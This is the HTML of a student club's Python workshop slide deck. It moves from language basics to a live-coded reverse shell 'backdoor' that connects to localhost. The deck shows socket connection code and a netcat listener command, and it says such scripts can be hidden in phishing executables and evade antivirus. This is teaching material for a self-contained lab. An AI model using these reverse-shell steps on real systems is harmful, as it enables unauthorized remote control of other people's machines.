Python_Workshop/index.html at master · Kevin-Taha/Python_Workshop · GitHub

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				<section>
					<h3 style="width: 100%"> Python - A Hacker's Introduction </h4>
					<p> Presented by Kevin Taha </p>
					<blockquote style="width: 100%">
					<ul>
						<li> Part 1 : Intro to Python  </li>
						<li> Part 2: Applications: Reverse Shell Backdoor </li>
					</ul>
					</blockquote>
					<p> Full Slides available at kevintxy.github.io/Python_Workshop/ </p>
				</section>

			<section>
				<section style="width: 100%">
					<h3 style="font-size: 1.2em"> Requirements </h3>
					<h6 style="text-decoration: underline"> 1. Python 3 </h6>
					<ul style="width: 100%; font-size: .8em">
						<li style="width: 100%"> Option 1 (Recommended): Install from python.org or SSH to lab machine such as data.cs or maven.itap </li>
						<li> Option 2: Use repl.it (online IDE, will NOT work for part 2) </li>
						<p style="color: red; font-size: .7em" > WINDOWS USERS: Please check the "Add Python3.7 to PATH" button.
						<br> If you prefer using the Linux Subsystem for Windows, open BASH and run "sudo apt install python3" instead </p>
					</ul>
					<h6 style="text-decoration: underline"> 2. Any Text Editor </h6>
					<ul style="width: 100%; font-size: .8em">
						<li style="width: 100%"> I'll be using VIM on Bash for Windows, VS Code is also amazing. </li>
					</ul>
					<h6 style="text-decoration: underline"> 3. Network Listener (For Part 2) - We will handle this later </h6>
					<ul style="width: 100%; font-size: .8em">
						<li style="width: 100%"> Easy Option: NetCat </li>
						<li style="width: 100%"> Hard: Write your own (We'll go over this) </li>
					</ul>
				</section>
				<section>
					<h4> Windows Users: Remember to ADD TO PATH </h4>
					<img src="img/Capture.PNG" style="width:50%; length:50%"/>
					<h6> This is required for Python to run in command line or Powershell</h6>
					<li> It's also much easier to do this in the installer than manually </li>


				</section>


			</section>

				<section>
						<section>
							<h5> Other Notes and Warnings </h5>
							<p style="color: #a43; font-weight: bold"> All information in this workshop is for educational purposes. If you have any issues please contact me! All workshop material is open source. Images used are courtesy of RealPython. </p>
							<br>
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						</section>
						<section>
							<h5> Getting Help </h5>
							<p> These slides should be comprehensive enough for you to reference back on your own </p>
							<p> kevintxy.github.io/Python_Workshop </p>
							<h6> Contact Me! </h6>
							<p> ktaha@purdue.edu </p>
							 <img src="img/in.png" width=40 length=40> /in/kevintaha       <br>
							 <img src="img/fb.png" width=40 length=40> /ktahaxy

						</section>
						<section>
							<h5> Curriculum </h5>
							<p style="text-decoration: underline;"> Python3 - Easy as Py </p>
							<blockquote>
								<ul style="font-size: .7em">
									<li> Variables & Basics </li>
									<li> String Methods and Lists </li>
									<li> Loops </li>
									<li> Functions and Classes </li>
									<li> Some Data Structures </li>
								</ul>
							</blockquote>


							<p style="text-decoration: underline;"> Applications: Reverse Shell Backdoor </p>
							<blockquote>
							<ul style="font-size: .7em">
								<li> Mini intro to sockets </li>
								<li> Let's Hack! </li>
							</ul>
						</blockquote>
							<br>
						</section>
					</section>
				<section>
					<section>
							<h3> Part 1) Intro to Python </h3>
							<img height="400px" src="img/python.jpg" />
					</section>
					<section>
					<h3> Why Know Python? </h3>
					<li> It's popular, easy to write, and reads like english!</li>
							<h6> <span style="text-decoration: underline"> Example: Ternary Operators: C vs Python </span> </h6>
							<h6> In C: </h6>
							<blockquote style="width: 100%; font-size: 30px; background-color: #222222; color:green"> <code>
								int a = 1; </br>
								printf("%s", (a == 1) ? "A IS ONE":"A IS NOT ONE"); </br>
								// Output: "A IS ONE"
							</code> </blockquote>
							<h6> In Python: </h6>
							<blockquote style="width: 100%; font-size: 30px; background-color: #222222; color:green"> <code>
								a = 2 </br>
								print("A IS ONE") if a is 1 else "A IS NOT ONE" </br>
								# Output: "A IS NOT ONE"
							</code> </blockquote>
						</section>

					<section>
						<h3>Why know Python?</h3>
						<li> It's VERY widely used by professionals, researchers, and hobbyists </li>
						<li> It's brutally effective for rapid development and quick scripts </li>
						<li> It has a huge collection of libraries, especially for Machine Learning </li>
						<li> It's not going away anytime soon</li>
					</section>
				</section>

			<section>
				<section>
					<h3> 2) Writing and Compiling</h3>
					<img src="img/layout.jpg" height="400px;"/>
				</section>
				<section>
						<h4> Let's Get Started! </h4>
						<ol>
							<li> Get an active text editor and terminal running! </li>
							<ul>
								<li>  <span style="font-weight: bold "> Native Users: </span> Any text editor like VSCode. Have a terminal window (Bash, Powershell, VSCode Terminal, etc) open to your working directory </li>
								<li> <span style="font-weight: bold "> Repl.it users: </span> Just open a new Python project! </li>
							</ul>
							<li> Play around with the command line! Native users: type "python" in terminal to open it. </li>
						</ol>
				</section>
				<section>
					<h3> How to "Compile" </h3>
					<li> Let's write some code! </li>
					<blockquote> <code> print("Hello Python") </code> </blockquote>
					<p> That's it! </p>
					<p> Now let's run it: </p>
					 <li> Head to the terminal and type: <span> <code> python hello.py </code> </span> </li>
					 <li> Repl.it users: Just hit "run" </li>
					 <li> Make sure you've exited the python interpreter (Type "quit()") </li>
				</section>
				<section>
					<h3> Side Note: Creating Executables </h3>
					<h6> UNIX/Mac Users: Add extra line to top of your code, use chmod </h6>
					<blockquote>
						<code>
							#!/usr/bin/env python
							print("Hello World")
						</code>
					</blockquote>
					<p> In terminal: <span><code> chmod +x hello.py</code></span>, then run ./hello.py </p>
					<h6>Windows users: Many options, py2exe is one good one.</h6>
				</section>


			</section>
			<section>
				<section>
					<h3> 3) Variables and Types </h3>
						<img src="img/blocks.jpg" height="400px"/>
				</section>
				<section>
					<h3> Variable Usage - Declaring </h3>
					<li> Python is dynamically-typed - no declarations needed! </li>
					<pre style= "width: 100%; overflow-y: hidden;"  ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Use hashes to write comments
x = "Python"
y = 3
print(x)
print(y)
print(type(x))


					</code></pre>

				</section>

				<section>
					<h3> Variable Usage - Printing </h3>
					<li> Watch out for data type errors - cast using str(), int(), float(), and other functions </li>
					<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>

x = "Python"
y = 3

# Formatting dynamically using .format
print("{} has many formatting tricks in version {}".format(x,y))

print("%s %d also supports C-style formatting!" % ("Python", 3))

# If concatenating with +, remember to cast!
print(x + str(y))

					</code></pre>
					<p> For Python 3.6+, Google "Python f-strings" </p>

				</section>
				<section>
					<h4> Advanced: Swap Variables in one line </h4>
					<blockquote style="width: 100%; font-size: 30px; background-color: #222222; color:green"> <code>
							int a, b = 2, 5     </br>
							a, b = b, a  </br> </br>

							# Python evaluates the right side first and packs the result into a tuple </br>
							# It then evaluates the left side using that result </br>
							# This effectively swaps the two variables
						</code> </blockquote>


				</section>
			</section>
		<section>
			<section>
				<h3> 4) Lists and Strings </h3>
				<img src="img/strings.jpg" height="400px"/>
			</section>
			<section>
				<h3> Lists & String Methods </h3>
				<h6>Python has 4 major collection-based data types</h6>
				<ul>
					<li> <span style="font-weight: bolder">  Lists - </span> Dynamically sized arrays</li>
					<li><span style="font-weight: bolder">  Tuples - </span> Ordered & unchangable lists</li>
					<li> <span style="font-weight: bolder"> Sets - </span>Unordered, Unindexed, no duplicates - Similar to mathematical sets </li>
					<li> <span style="font-weight: bolder"> Dictionaries - </span> Very powerful "Hash Table" style structure </li>
				</ul>
			</section>
			<section>
					<h5> Working with lists (Example + Live Demo) </h5>
					<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Lists have no data type requirements.
myList = ["apple", 1, 2, "banana"]

# Easy to change elements
myList[1] = 7

# Also easy to append, remove, extend, etc with list functions!
myList.append("newstuff")  # Adds new item
myList.extend([5,6,7])  # Extends list with contents of another list
myList.removes("apple")	 # Removes by item
myList.pop(0)  # Removes item @ first index & returns it

# Other useful functions: len(), index(), count(), reverse(),
# sort(), clear(), enumerate() ... and many more!
					</code></pre>
			</section>

			<section>
					<h5> Strings Intro & Demo </h5>
				<li style="width: 100%; font-size: 30px"> Strings function like lists, but are immutable (unchangable) </li>
				<li style="width: 100%; font-size: 30px"> The built-in str library also has a LOT of very useful functions </li>


					<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
longString = """ Use triple quotes in order to allow your strings
to span multiple lines without getting indentation errors """

# Split string up into words using space as separator
wordList = longString.split(' ')

# You can also do the reverse with str.join()
newString = ' '.join(wordList)

# You can search within strings as if they were lists
print('triple' in longString) # Outputs True

# Other useful functions: len(), str.strip(), .lower(), .upper(),
.replace(), .capitalize(), .index(), .isalpha(),...
					</code></pre>
			</section>


			<section>
					<h5> List & String Splicing </h5>
					<li> Lists and Strings can be spliced with the format stuff[first:last:skip]</li>
					<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
a = "Boiler Up!"

a[:4]   #Outputs: "Boil"
a[6:]   #Outputs: " Up!"
a[3:8]  #Outputs: "ler U"
a[:3] + a[6:] Outputs: "Boi Up!"

a[::2]  #Outputs: "Bie p"
a[::-1] #Outputs: "!pU relioB", effectively reversing the string!

# Note: Python supports negative indices for lists!
a[-3]   #Outputs: 'U'

					</code></pre>
			</section>
		</section>

		<section>
			<section>
				<h3> 5) Control Flow </h3>
				<img src="img/loops.jpg" style="height:400px;" />
			</section>
			<section>
				<h3> Control Flow</h3>
					<p> Python has many control flow statements, these are the most notable: </p>
					<li> If/elif/else statements,  </li>
					<li> For Loops and For-Each loops </li>
					<li> While Loops </li>
					<li> Break and continue statements </li>
					<li> The "pass" statement </li>
					<li> Functions </li>
			</section>

			<section>
				<h4> If statements </h4>
				<p style="font-size: 25px"> Self explanatory, works like every other language. INDENT! </p>
				<pre  style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Declaring 2 vars at once using Python's unpacking features
purdue, iu = 9, 4

if purdue > iu:
	print(" IU Sucks! ")
elif purdue == iu:
	iu = purdue - 1000
else:
	del iu
# del is a keyword for deleting objects (usually not used)

# Python has the logical operators "and", "or", and "not"
if 9 + 10 != 21 and not iu > Purdue:
	print("All is right in the world")

				</code></pre>
			</section>
			<section>
				<h4> Shorthand If and Ternaries </h4>

			<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Single statements can go on one line
if a > b: print("A is bigger")

# If/Else can also go on one line using ternary syntax
print(" IU Sucks! ") if purdue > iu else print(" iu sucks?")
			</code></pre>
			</section>
			<section>
				<h4> While Loops </h4>
				<li> While loops are self explanatory and work like other languages </li>
				<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Remember to Indent!
i = 10
while i > 0:
	print(i)
	i -= 1

# Note: "break" and "continue" statements are supported!
				</code></pre>
			</section>
			<section>
				<h4> For Loops</h4>
				<ul>
				<li> Python For loops are untraditional </li>
				<li> For loops require some kind of "iterable" object or "sequence" to go through
				<ul> <li> This could be lists, strings, or many other types of data structures</li></ul>
				</li>
				</ul>
				<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# "Traditional" style for loops
for i in range(3):
	print(i)

#Output: 0
	 1
	 2

# The range(first, last, skip) function is commonly used for loops

				</code></pre>
			</section>
			<section>
				<h4> More for loop examples </h4>
				<pre style= "width: 100%; overflow-y: hidden;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
schools = ["Purdue", "IU", "UIUC", "Michigan"]
for x in mylist:
	print(x)

# Loop through Letters in a String
for i in "some random string":
	print(i)

# Use range function to specify exact looping parameters
for x in range(2,30,10):
	print(x)     #Output: 2, 12, 22

				</code></pre>
			</section>
		</section>

		<section>
			<section>
				<h3> 6) Functions and Classes </h3>
				<p> Python is an Object-Oriented language that can behave like a dynamic/functional language </p>
				<img height="400px" src="img/oop.jpg"/>
			</section>
			<section>
				<h4> Functions </h4>
				<li style="font-size: 30px"> Use the "def" keyword to write functions </li>
				<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
def do_stuff():
	print("Beep Boop did you call me?")

# Functions with parameters
def say_hello(name):
	print("Hello", name)

# You can also set default parameter values
def say_hello(name = "John")
	print("Hello", name)
# Prints "Hello John" if called w/out parameter

# Use the "return" keyword for return values
def add(x, y)
	return x + y

				</code></pre>
			</section>
			<section>
				<h3> Star Unpacking For Arguments </h3>
				<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
def printFour(a, b, c, d):
	print(a, b, c, d)

nums = [1, 2, 3, 4]
printFour(*nums)

# Using * will "unpack" the list into separate argument vars.

				</code></pre>


			</section>

			<section>
				<h4> Classes </h4>
				<p style="font-size: 30px"> Python OOP could justify its own workshop, but here are the basics: </p>
				<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Declaring Classes
class Pet:

# Initializer - uses one of Python's "Magic Methods"
	def __init__(self, name, age):
		self.name = name
		self.age = age
		mood = "Happy"

class Dog(Pet):  # Subclass Inherits from Parent (Pet)
	def bark(self)
		print("Woof, says " + self.name)

myDog = Dog("Teddy", 2)
myDog.bark()  # Outputs: "Woof, says Teddy"
				</code></pre>
			</section>
			<section>
				<h4> Imports </h4>
				<p> The "import" is used for libraries and it is very versatile. </p>
				<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Importing and using entire Library
import random
x = random.randint(1,10)

# You can rename an imported library using the "as" keyword
import random as ra
x = ra.randint(1,10)

# You can also choose to just import certain functions from the library
from random import randint, random, shuffle
x = [randint(1,10) for i in range(10)]
shuffle(x)   # No need to reference the class!

# Sneak peak of "list comprehensions" shown above.
# Generated list of 10 random numbers 1-10 in just one line!
				</code></pre>
			</section>
		</section>
		<section>
			<section>
				<h3> 7) References and further learning </h3>
				<img src="img/references.jpg" style="height:400px;"/>
			</section>
			<section>
				<h2> Things you'd really want to learn: </h2>
				<li> Data Structures, especially DICTIONARIES! </li>
				<li> File IO </li>
				<li> List Comprehensions </li>
				<li> More about OOP/Classes </li>
				<li> Common Libraries like Numpy, Pandas...</li>
				<li> Exception Handling and try/catch </li>
			</section>
			<section>
				<h2> Good Resources: </h2>
				<li> "Python Crash Course" Cheat sheets bit.ly/2S8WIyx</li>
				<li> RealPython.com </li>
				<li> Official Python Docs</li>
				<li> Just use it to build whatever you want and learn by doing! </li>

			</section>
		</section>
		<section style="color: black" data-transition="slide" data-background="#E3EECD" data-background-transition="zoom" >
		<section>
			<h2> Part 2: Reverse Shell Script </h2>
				<img src="img/backdoor.jpg" height="400px" />
		</section>
		<section>
			<h2> What is a reverse shell? </h2>
			<li> One of the most basic types of computer attacks. Sometimes called "Shell Shoveling" </li>
			<li> Allows attacker to gain control of another computer's command line (shell) </li>
			<li> Attacking machine listens on port for victim machine's response. </li>
			<li> Once the victim's machine runs the exploit script, attacker can take control</li>
		</section>
		<section>
			<h3> How it's usually implemented </h3>
			<p> Typically we'd have separate code for a server and a client </p>
			<img src="img/twocodeattack.png" height="350px" />
		</section>
		<section>
			<h3> We can simplify using NetCat! </h3>
			<p> Why write any server code if we can use NetCat? </p>
			<li> NetCat is a utility preinstalled on most UNIX machines that reads/writes to network connections. To save time we will use it to handle our server end. </li>
			<img src="img/netcat.jpg" height="300px" />
		</section>
	</section>
	<section data-background="#E3EECD">
		<section>
			<h3> Setup </h3>
			<li> <span style="font-weight: bold"> MacOS, Linux, and Bash For Windows Users: </span> Netcat should be preinstalled. Just have two terminal windows open </li>
			<li><span style="font-weight: bold"> Repl.it users:</span> Unsupported. SSH into a lab (see next slide) </li>
			<li> If NetCat doesn't work or you want to see how the server would look in Python, use my Python listener code instead of NetCat: Find it in the "Python" folder for this workshop or at <a> bit.ly/2TypaGs </a> </li>
		</section>
		<section>
			<h4>Windows</h4>
			<ul><li> My code uses UNIX dependent commands from the OS library. As such, I am not supporting Windows.</li>
					<li> Option 1) RECOMMENDED: Work from a Remote UNIX machine</li> <ul>
						<li> CS Students: user@data.cs.purdue.edu </li>
							<li> Other: user@maven.itap.purdue.edu </li>
							</ul>
					<li> Option 2) If installed, you can use the Windows Linux Subsystem for Windows 10 or a VM </li>
					<li> To learn about how a reverse shell can be adapted to Linux AND Windows, see <br><a> github.com/thelinuxchoice/shellpy</a> </li>


			</ul>
		</section>
	</section>

	<section  data-background="#E3EECD">
		<section>
			<h3> Let's Hack! </h3>
			<h5> This part will be live coding</h5>
			<p> The next few slides will also step through the code for those reviewing post-workshop. These are not as much in-depth so contact me with questions! </p>
		</section>
		<section>
			<h3> Imports and declarations </h3>
			<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
#!/usr/bin/python
import subprocess # Lets us start new processes/apps from within Python
import os       # Gives us Operating System functions
import socket   # Enables network programming w/ sockets in Python


# IP of the attacker computer. We'll use localhost (127.0.0.1)
# because we'll be attacking our own computer.
host = "127.0.0.1"

# Port to be used. Can be pretty much any 4 digit number.
port = 9999
			</code></pre>
		</section>
		<section>
		<h3> Shell Confirm Function (Somewhat optional)</h3>
		<img src="img/confirm.PNG" height="400px"/>
		<li> Challenge: build a secure login feature for the attacker using randomized passwords.</li>
	</section>
	<section>
		<h3> Shell Loop Function </h3>
		<img src="img/shell.PNG" height="400px"/>
		<li> Challenge: Implement a "say" command that prints whatever the attacker writes to the target's computer </li>
	</section>
	<section>
		<h3> Starting our functions </h3>
<pre style= "width: 100%; overflow-y: hidden; line-height: 1.1em;" ><code style="overflow-y: hidden" class="python hljs" data-trim contenteditable>
# Intialize our socket - Internet Socket accessed via a stream.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Make a connection using our host name and port
s.connect((host,port))
# Start our Confirm function
Confirm()
</code></pre>
	</section>
	<section  data-background="#E3EECD">
		<h3> Putting it all together </h3>
		<img src="img/final.PNG" height="550px"/>
	</section>
</section>
<section  data-background="#E3EECD">
	<section>
	<h3> Testing our script </h3>
	<li> Attacker: Run <code> nc -lvp [PortNumber]</code> in terminal. </li> <ul>
		<li> -l specifies to listen for a connection (listen mode) </li>
		<li> -v is for more verbose output, it's optional. </li>
		<li> -p signals that we have a port we're going to listen on </li>
		<li> [PortNumber] is the port we set in the exploit code. I'm using 9999</li>
	</ul>
	<li> Now run our exploit script on the target machine (In our case another terminal window) with the command <code> python3 exploit.py</code>  </li>
	</section>
	<section data-background-video="img/video.mp4">
		<br> <br>
		<h4> Left: Attacker   |||     Right: Target</h4>
	</section>
</section>
<section  data-background="#E3EECD">
	<section>
		<h3> Why this exploit is meaningful </h3>
		<li> Can be hidden inside an exe file and activated through phishing attacks (firewall required) </li>
		<li> Bypasses most antivirus software </li>
		<li> It's the most dangerous starting point for any pentest </li>
		<li> Can be implemented in any language or just using NetCat </li>
	</section>
	<section>
		<h3> Overall Takeaways </h3>
		<li> Python is a flexible language that is brutally effective at ANYTHING </li>
		<li> You don't need to know much about coding to do real damage </li>
		<li> Don't be Evil </li>
	</section>
</section>
<section  data-background="#E3EECD">
	<h3> Closing Notes </h3>
	<img src="img/index.png"/>
	<li> Another PH member is running a Machine Learning Workshop in Python next week! Stay tuned with our events. </li>
	<li> I can cover additional topics within or outside of Python - just let me know what interests you </li>
	<li> Want to help with our events or run your own workshop? Come to our weekly organizer meetings! </li>
</section>
<section>
	<h3> Thank you :) </h3>
	<h6>Contact Purdue Hackers</h6>
	<p> purduehackers@gmail.com</p>
	<p> phackers@purdue.edu</p>
	<h6> Contact Me </h6>
	<p> ktaha@purdue.edu </p>
	 <img src="img/in.png" width=40 length=40> /in/kevintaha       <br>
	 <img src="img/fb.png" width=40 length=40> /ktahaxy

</section>


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